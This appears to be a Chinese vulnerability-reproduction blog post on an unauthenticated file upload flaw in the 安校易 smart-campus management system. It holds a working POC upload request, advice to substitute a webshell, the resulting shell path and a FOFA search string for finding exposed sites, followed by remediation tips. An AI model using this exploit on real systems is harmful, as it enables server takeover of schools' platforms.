智慧校园(安校易)管理系统文件上传漏洞复现

文摘   科技   2024-05-30 09:35   陕西  

免责声明

     请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。



01
0x01漏洞描述
智慧校园(安校易)管理系统FileUpProductupdate存在任意文件上传漏洞,攻击者可通过此漏洞上传恶意脚本文件,对服务器的正常运行造成安全威胁。


02
0x02 漏洞复现 
POC如下所示:
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=----21909179191068471382830692394Connection: close
------21909179191068471382830692394Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"Content-Type: image/jpeg
<%@Page Language="C#"%><%Response.Write("hello");System.IO.File.Delete(Request.PhysicalPath);%>------21909179191068471382830692394--
PS:通过以上数据包,修改自己需要的马儿,然后发送数据包之后可以看到文件的saveName值,拿到这个值之后再拼接上传路径Url+Upload/Publish/000000/0_0_0_0/update.aspx实现未授权任意文件上传getshell,如下所示:
Url+Upload/Publish/000000/0_0_0_0/update.aspx


03
0x03 过程截图

fofa:title="智慧综合管理平台登入"

页面是这个样子的:

使用poc进行上传:

进行访问:

04
0x04 修复建议


  1. 对上传文件类型进行验证,除在前端验证外在后端依然要做验证,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小等限制来防御,或是将上传的文件其他文件存储服务器中。

  2. 严格限制和校验上传的文件,禁止上传恶意代码的文件。

  3. 对上传文件格式进行严格校验,防止上传恶意脚本文件。

  4. 严格限制上传的文件路径、文件内容服务端校验。文件扩展名服务端白名单校验。

  5. 隐藏上传文件路径。上传文件重命名。设置项目目录权限:可写目录不执行,执行目录不可写.

  • 代码层面

    • 服务端采用白名单方式校验文件后缀,不建议采用黑名单方式校验后缀,黑名单方式校验可能导致攻击者利用文件特性、系统特性、黑名单不全等方式进行绕过攻击。

    • 服务端对上传文件进行重命名,防止利用目录跳转等方式控制上传目录。

    • 服务端使用系统函数来判断文件类型及文件内容是否合法,比如 PHP 中的 getimagesize。

    • 对上传的文件回显相对路径或者不显示路径。

  • 其他层面

    • 建议使用 OSS 静态存储服务器来存储用户上传的文件。

    • 设置目录权限限制,禁止上传目录的执行权限。

    • 保证使用的 Nginx、Apache、IIS 等容器版本不存在解析漏洞。

    • 保证使用的第三方处理软件的版本比如 FFmpeg、ImageMagick 等不存在已知漏洞。

END
点击蓝字  关注我们

爱喝酒烫头的曹操
主要分享一些漏洞挖掘小技巧,代码审计、web安全、内网渗透以及一些实战案例、快速获得edu及cnvd漏洞报送证书小技巧。
 最新文章